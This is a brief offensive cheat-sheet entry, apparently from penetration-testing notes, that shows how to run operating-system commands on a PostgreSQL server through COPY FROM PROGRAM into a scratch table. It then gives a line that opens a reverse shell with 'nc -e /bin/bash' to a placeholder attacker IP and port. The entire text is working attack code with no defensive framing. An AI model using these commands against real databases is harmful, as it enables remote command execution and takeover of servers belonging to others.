Last updated 3 years ago
DROP TABLE IF EXISTS kashz; CREATE TABLE kashz(out text); COPY kashz FROM PROGRAM '<command>'; SELECT * FROM kashz; # shell COPY kashz from PROGRAM '/usr/bin/nc -e /bin/bash IP PORT';